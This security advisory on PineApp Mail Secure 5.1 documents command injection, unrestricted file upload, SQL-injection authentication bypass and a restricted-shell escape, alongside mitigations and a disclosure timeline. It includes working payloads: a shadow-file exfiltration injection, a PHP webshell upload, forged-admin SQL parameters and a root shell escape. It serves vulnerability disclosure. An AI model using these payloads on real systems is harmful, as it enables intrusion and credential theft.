CYBONET – PineApp Mail Secure 5.1

Code execution, SQL injection, unrestricted upload and restricted shell escape

Security advisory

2018-10-16

Thomas Chauchefoin
Gaetan Ferry

Vulnerability description

The PineApp Mail Secure software

PineApp Mail Secure is an email filtering software developed and provided by CYBONET. It allows setting up spam filtering and antivirus over enterprise email solutions. The software can be controlled from a web interface or through a remote administration CLI feature supported by SSH.

Issues

Command injections

The web application fails to properly sanitize the parameters submitted by the user before using them as part of system commands. Therefore, an authenticated attacker can alter legitimate commands and inject arbitrary UNIX commands in them. Multiple instances of this issue have been identified in the following scripts / URLs:

- */manage/main_incs/action/action.php*
- */manage/main_incs/forms/viewer.php*
- */manage/main_incs/forms/emlheader.php*

Note that an authentication bypass (direct impact of the SQL injection vulnerability) allows reaching this feature from an unauthenticated position.

Unrestricted upload

It has been observed that the web application fails to properly control the type of files uploaded by clients. This allows a remote authenticated attacker to upload arbitrary files, including PHP scripts to the server. The affected script is accessible at */manage/bigdata/file_upload_parser.php*.

Note that an authentication bypass (direct impact of the SQL injection vulnerability) allows reaching this feature from an unauthenticated position.

SQL injection

It has been observed that the web application fails to properly sanitize the parameters submitted by the user before using them as part of SQL queries. Therefore, an attacker can alter legitimate SQL queries and inject arbitrary SQL content. The affected script can be accessed at */manage/main_incs/user_loged_from_email.php*.

Manipulating the arguments in a way that would make all SQL requests pass without errors, the attacker could inject arbitrary values in a session variable, successfully bypassing the web interface authentication checks.

Restricted shell escape

The Synacktiv team identified a vulnerability in the *pashell* restricted shell used to provide system configuration access to users administering the appliance via SSH.

This program is developed in PHP and implements a number of features allowing to change the configurations of the appliance. Most of them rely on system tools that are called directly from the PHP code.

However, the application fails to properly sanitize the parameters submitted by the user before using them as parameter for system binary calls. Therefore, it is possible to execute arbitrary commands in the system context successfully escaping the restricted shell. Moreover, such an escape allows getting full control over the appliance as the restricted shell is started as the *root* user.

Affected versions

The following versions are affected:

- *PineApp Mail Secure* 5.1 (latest stable version as of December 2017, still the demonstration version as October 2018)

Mitigations

Command injections

Sanitize any user-controlled data before incorporating it in a system command call. In PHP, this can be achieved with the *escapeshellarg* (only for arguments) and *escapeshellcmd* (only for commands) functions.

Unrestricted upload

It is recommended to apply strict controls on the files uploaded by users. When possible, best practices recommend to:

- Rename uploaded files with random names;
- Define a very limited set of safe extensions and only accept filenames that end with these extensions;
- Check the MIME type and ensuring that it matches the extension;
- Store the uploaded files outside the web directory.

SQL injection

Best practices recommend using parameterized queries and variable binding. These features could be implemented using SQL prepared statements or stored procedures. For example, in PHP, the PDO API is recommended to implement prepared statements.

Restricted shell escape

Sanitize any user-controlled data before incorporating it in a system command call. In PHP, this can be achieved with the *escapeshellarg* (only for arguments) and *escapeshellcmd* (only for commands) functions.

Timeline

Date	Description
2018-01-25	Fist email sent to *info@cybonet.com*, asking for a security contact.
2018-02-09	Second email asking for a security contact, CYBONET replies they need the client identifier before any investigation.
2018-02-19	Advisories sent to CYBONET, who answers that only the 5.1 version is affected and not 5.2, but still asks for time to double-check.
2018-03-30	Synacktiv asks CYBONET for updates.
2018-04-01	CYBONET asks Synacktiv to check that everything is fixed in 5.2, Synacktiv asks for a download link.
2018-04-02	CYBONET refuses to send the software and asks Synacktiv to setup a 5.1 appliance and send them SSH credentials so they can upgrade it to 5.2. Synacktiv denies and asks for an easier way to obtain the update.
2018-04-20	Synacktiv tells CYBONET that advisories will be published within one week if no easier way to access the 5.2 release is found.
2018-04-21	CYBONET tells everything is fixed and that advisories can be published.
2018-10-16	Advisories are published.

Multiple command injections

action.php

The script *action.php* accepts a main argument name *action*. Depending on *action*, different code paths can be reached in the script. In case, this parameter contains the *forwardml* value, the following code block is executed.

```
    case "forwardeml":
        unset($tmpFolder_);
        $tmpFolder_ = explode(" ", microtime());
        $tmpFolder = "/tmp/forwardeml_".$tmpFolder_[1];
        system("mkdir $tmpFolder");
        system("cp ".$_POST['p'].".env ".$tmpFolder."/000.1.env");
        system("cp ".$_POST['p']." ".$tmpFolder."/000.1");
```

In this code, the *p* GET parameter is used as part of a system command without escaping. Therefore, it is possible to use it to execute arbitrary commands. For example, the following payload can be inserted in the *p* parameter:

```
/etc/shadow+/srv/www/htdocs/manage/%3Btouch+/tmp/aaaa;%23
```

In that case, we can retrieve the *shadow* file in the web directory of the server.

```
GET /manage/shadow HTTP/1.1
Host: 192.168.56.2:7443

HTTP/1.1 200 OK

root:$1$j******H$g*******************a/:17534:0:99999:7:::
sshd:!:12754:0:99999:7:::
```

The file */tmp/aaaa* is also created on the appliance filesystem:

```
root@pineapp:~# ls /tmp/aaaa -l
-rw-r--r--  1 qmailq qmail 0 2018-01-03 20:40 /tmp/aaaa
```

viewer.php and *emlheader.php*

Both, *viewer.php* and *emlheader.php* scripts are affected by the same issue. The following details are taken from *viewer.php* but the same code can be found in *emlheader.php*.

At line 96, the script executes a command using an apparently unprotected variable.

```
96          exec("ls */".$filename,$out, $err);
```

This variable is built from a user supplied parameter without any sanitization:

```
66      $message_id    = isset($_GET['id'])  ? $_GET['id'] : exit;
[...]
94         $filename = "999.".addZeros($message_id,19);
```

The *addZeros* function, implemented */manage/mailpolicymtm/log/inc/common.inc*, only appends zeros at the start of the provided value, not preventing the command injection:

```
function addZeros($number,$zeros_upto,$suffix = false) {
    $str = '';
    for ($i=0;$i<($zeros_upto-strlen($number));$i++) {
        $str .= '0';
    }
    if ($suffix) {
        $str = $number.$str;
    }
    else {
        $str .= $number;
    }
    return $str;
}
```

Unrestricted file upload

This vulnerability is located in the */manage/bigdata/file_upload_parser.php* script. This script accepts a file upload parameter and a *virtualFileName* GET parameter.

This script receives the file submitted by the user and stores it on the file system. The name of the created file is computed from the *virtualFileName parameter.* No control is performed on the value of this parameter:

```
if(move_uploaded_file($fileTmpLoc, $SFT_TEMP_FOLDER."/SFT_".$_SESSION['uid']."_".$_GET['virtualFileName'])){
    echo $fileName." ".$_SESSION['language']['msg-upload-is-complete'];
```

The *fileTmpLoc* value is directly retrieved from PHP temporary uploaded file location:

```
$fileTmpLoc = $_FILES["file1"]["tmp_name"];
```

The *SFT_TEMP_FOLDER* value is retrieved from the appliance configuration. By default, its value is */srv/www/htdocs/downloads:*

```
$file="/etc/rc.pineapp/rc.system";
$fp=fopen($file,"r");
$line=explode("\n",fread($fp,filesize($file)));
fclose($fp);
$SFT_TEMP_FOLDER=extract_rcparm($line,"SFT_TEMP_FOLDER");
```

```
# grep 'SFT_TEMP_FOLDER' /etc/rc.pineapp/rc.system
SFT_TEMP_FOLDER="/srv/www/htdocs/downloads"
```

As no control is performed on the supplied parameters, it is possible to upload arbitrary files to the */srv/www/htdocs/download* directory:

```
POST /manage/bigdata/file_upload_parser.php?virtualFileName=test.php HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------
17910944297825442691903427594

-----------------------------17910944297825442691903427594
Content-Disposition: form-data; name="file1"; filename="webshell.php"
Content-Type: application/x-php

<?php
echo '<pre>';
system($_GET['cmd']);
echo '</pre>';
?>

-----------------------------17910944297825442691903427594--
```

The file can then be accessed and interpreted from the server web directory:

```
GET /downloads/SFT_1_test.php?cmd=id HTTP/1.1
Host: 192.168.56.2:7443


HTTP/1.1 200 OK

<pre>uid=1005(qmailq) gid=102(qmail) groups=102(qmail)
</pre>
```

SQL injection

This vulnerability is located in the *manage/main_incs/user_loged_from_email.php* script. It is available on the appliance filesystem at */srv/www/htdocs/manage/main_incs/user_loged_from_email.php*.

This script accepts 6 arguments that are later used to build a SQL query:

```
File: user_loged_from_email.php
       $u=$_GET['u'];
       $r=$_GET['r'];
       $k=$_GET['k'];
       $n=$_GET['n'];
       $fn=$_GET['fn'];
       $c=$_GET['c'];
```

The parameters are used in SQL queries and are all protected thanks to the *pg_escape_string* PHP function. However, this function is only useful when protecting strings parameters. SQL injection can, therefore, still happen on numeric values (not enclosed by quotes).

Among the parameters the script accepts, several are used as filters on columns with numeric data types.

```
       $sql = "    SELECT tid, expired_date
                           FROM pineapp.user_spam_report_keys AS u, pineapp.objects AS o
                           WHERE uid=".pg_escape_string(base64_decode($u))." AND
                           report_id=".pg_escape_string(base64_decode($r))." AND
                           auth_key='".pg_escape_string($k)."'"." AND
                           o.oid=u.uid AND
                           cust_id=".pg_escape_string($c);
```

We can see that the *u*, *r* and *c* parameters are used as numbers in the SQL query. Therefore, those can be used as injection points. For example, setting the *c* parameter value to *1+union+select+0x01* triggers an SQL error due to the bad number of columns for the *union* query:

```
GET /manage/main_incs/user_loged_from_email.php?r=MQ%3d%3d&u=MQ%3d
%3d&k=1&c=1+union+select+0x01 HTTP/1.1


[Wed Jan 03 22:44:55 2018] [error] [client 192.168.56.1] PHP Warning:  pg_query() [<a
href='function.pg-query'>function.pg-query</a>]: Query failed: ERROR:  each UNION query
must have the same number of columns\nLINE 7:          cust_id=1 union select 0x01\n
^ in /srv/www/htdocs/manage/main_incs/user_loged_from_email.php on line 58
```

This issue could be exploited as a blind SQL injection to extract arbitrary data from the PGSQL database.

Moreover, at line 114, the script sets the session variable *u_name* from the result of a SQL query:

```
 82        $sql = "SELECT oname FROM pineapp.objects WHERE deleted='f' AND
 83                                oid=".pg_escape_string(base64_decode($u))." AND
 84                                cust_id=".pg_escape_string($c);
[...]
114        $_SESSION['u_name']              = $oname;
```

Therefore, it is possible to forge special parameters which will make all SQL queries of the script pass without error and will force an arbitrary value for the *$oname* variable. The following parameters achieve this objective, injecting the value *admin* in the *u_name* session variable:

```
r=MSB1bmlvbiBzZWxlY3QgMSxDVVJSRU5UX1RJTUVTVEFNUDsvKg==
      //  1 union select 1,CURRENT_TIMESTAMP;/*
u=MQ==
      //  1
k=1
c=1+union+select+CHR(65)||CHR(68)||CHR(77)||CHR(73)||CHR(78)%3b--*/
```

If an attacker performs an HTTP request setting the previous parameters, his session will be updated with the username

ADMIN.

```
GET /manage/main_incs/user_loged_from_email.php?
r=MSB1bmlvbiBzZWxlY3QgMSxDVVJSRU5UX1RJTUVTVEFNUDsvKg%3d%3d&u=MQ%3d
%3d&k=1&c=1+union+select+CHR(65)||CHR(68)||CHR(77)||CHR(73)||CHR(78)%3b--*/ HTTP/1.1

Result of var_dump($_SESSION):

array(10) {
  ["main_lang"]=>
        string(7) "lang_en"
  ["JS_LNG"]=>
        string(2) "en"
  ["language"]=> […]
  ["u_name"]=>
        string(5) "ADMIN"
  ["uid"]=>
        string(1) "1"
  ["fullName"]=>
        NULL
  ["ROLE"]=>
        string(7) "Manager"
  ["OWNER_ID"]=>
        string(63) "1 union select CHR(65)||CHR(68)||CHR(77)||CHR(73)||CHR(78);--*/"
  ["tid"]=>
        string(1) "5"
  ["CHECK_EULA"]=>
        string(2) "no"
}
```

The authentication validation function is located in the *manage/main_incs/grrrrrr.php* script. The only test that is performed to control the user authentication is the check of the *u_name* session variable content:

```
if(!isset($_SESSION['u_name']) || trim($_SESSION['u_name'])=="") {
    ?>
    <script>
    location.href='../../../manage/grrrrrr.php';
    </script>
    <?
    exit;
}
```

Therefore, exploiting this vulnerability allows bypassing the authentication on the web interface.

Restricted shell escape

This vulnerability affects the *pineapp* Linux system account deployed on the appliance as it is the only user configured with the *pashell* program as shell interpreter:

```
# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
sshd:x:1000:100:sshd privsep:/var/empty:/bin/false
apache:x:1003:101:apache:/dev/null:/bin/false
nobody:x:1004:101:nobody:/dev/null:/bin/false
qmailq:x:1005:102:qmailq:/var/qmail:/bin/false
pineapp:x:1006:100:default:/home/pineapp:/usr/local/pineapp/pashell
alias:x:1007:7994::/var/qmail/alias:/bin/false
qmaild:x:1008:7994::/var/qmail:/bin/false
qmaill:x:1009:7994::/var/qmail:/bin/false
qmailp:x:1010:7994::/var/qmail:/bin/false
qmailr:x:1011:102::/var/qmail:/bin/false
qmails:x:1012:102::/var/qmail:/bin/false
postgres:x:1013:100::/var/data/db:
fcron:x:1014:103::/dev/null:/bin/false
stunnel:x:1015:7995:Stunnel Daemon:/var/lib/stunnel:/bin/false
reflog:x:1016:100::/home/reflog:/bin/bash
popuser:x:1017:102::/home/popuser:
admin:x:1018:100::/home/admin:/usr/local/pineapp/change_user_pineapp
fsaua:x:499:7996:F-Secure Automatic Update Agent:/var/opt/f-secure/fsaua:
clamav:x:1019:7997:Clam AntiVirus:/home/clamav:/bin/false
```

The *pashell* program only performs some environment configurations before starting another PHP program. The second program represents the actual command interpreter and is started with elevated permissions:

```
File: /usr/local/pineapp/pashell
cd /usr/local/pineapp/CLI
sudo ./cmdline.php
```

The commands available to users are implemented in multiple files located in the *CLI* directory:

```
# ls /usr/local/pineapp/CLI
actions.php  commands.dat  commands_temp.xml delete.php    mn.php    update_commands
cli3.0_v2_ipmr      commands.php  constants.php       help.php    set.php   util.php
cmdline.phpcommands.xml create_admin.sh        log.php     show.php
```

Each command is implemented by a single PHP function. Some of these functions are vulnerable to command injection. For example, the antivirus log listing command, implemented in the *tailav* function of the *log.php* file is affected. As every other command functions, it accepts a single argument, which is the command line typed by the user:

```
File: /usr/local/pineapp/CLI/log.php
function    tailav($line='')         //
{
    global $filename;

    $temp = explode(" ",trim($line));
    if (isset($temp[2]))
    $num_lines = $temp[2];
    else
    $num_lines = _LOG_LIMIT;

    if (isset($num_lines) && $num_lines > 0)
    {
        $shell_command = "tail -$num_lines /var/log/fsavupdate.log > /tmp/responce_cli_temp.txt";

        shell_exec($shell_command);
104         $lines = file($filename);
105         $num_lines = sizeof($lines);
106         for ($i = 0; $i < $num_lines; $i++)
107         {
108             echo $lines[$i];
109         }
110     }
111 }
```

This function retrieves the first argument passed to the *log av* command (lines 93 and 95) and uses it as an argument to the *tail* system command (line 101). However, no control is performed on the argument. Therefore, it is possible to escape from the *tail* command and execute an arbitrary command.

The only constraint on the injected argument is that it does not contain any space character. Indeed, if it did, the splitting performed on line 93 would break it. The following payload can be used to escape the restricted shell:

```
log av 4--help;/bin/bash;#
```

```
$ ssh -p 7022 pineapp@192.168.24.24
pineapp@192.168.24.24's password:
Last login: Wed Jan  3 19:34:38 2018 from 192.168.56.1
pa_cli> log av 4--help;/bin/bash;#
tail: -: invalid suffix character in obsolescent option
bash-3.00# id
uid=0(root) gid=0(root) groups=0(root)
```

Note that multiple similar injection vulnerabilities have been identified among the CLI commands. For example, all other *log* sub-commands are similarly vulnerable.